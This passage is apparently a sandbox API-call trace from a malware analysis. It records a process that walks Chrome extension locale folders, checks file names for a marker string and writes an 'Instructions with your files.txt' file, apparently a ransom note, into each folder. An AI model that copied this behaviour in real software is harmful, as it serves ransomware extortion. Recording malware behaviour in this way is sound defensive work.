[0129.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.732] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\.") returned 143
[0129.732] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.732] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\..") returned 144
[0129.732] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.732] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 155
[0129.732] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.732] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.732] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\Instructions with your files.txt") returned 174
[0129.732] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.733] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.733] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.733] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.733] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.734] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.734] CloseHandle (hObject=0x134) returned 1
[0129.734] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.734] GetProcessHeap () returned 0x810000
[0129.734] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.734] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.734] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv") returned 141
[0129.734] GetProcessHeap () returned 0x810000
[0129.734] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.734] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*") returned 143
[0129.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.735] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\.") returned 143
[0129.735] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.735] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\..") returned 144
[0129.735] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.735] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 155
[0129.735] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.735] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.735] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\Instructions with your files.txt") returned 174
[0129.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.736] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.736] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.737] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.737] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.737] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.737] CloseHandle (hObject=0x134) returned 1
[0129.737] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.737] GetProcessHeap () returned 0x810000
[0129.737] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.737] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1
[0129.737] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml") returned 141
[0129.737] GetProcessHeap () returned 0x810000
[0129.737] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.737] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*") returned 143
[0129.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.737] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\.") returned 143
[0129.737] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.737] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\..") returned 144
[0129.738] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.738] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 155
[0129.738] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.738] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.738] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\Instructions with your files.txt") returned 174
[0129.738] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.738] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.739] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.740] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.740] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.740] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.740] CloseHandle (hObject=0x134) returned 1
[0129.740] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.740] GetProcessHeap () returned 0x810000
[0129.740] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.740] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1
[0129.740] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn") returned 141
[0129.740] GetProcessHeap () returned 0x810000
[0129.740] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.740] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*") returned 143
[0129.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.741] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\.") returned 143
[0129.741] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.741] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\..") returned 144
[0129.741] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.741] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 155
[0129.741] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.741] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.741] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\Instructions with your files.txt") returned 174
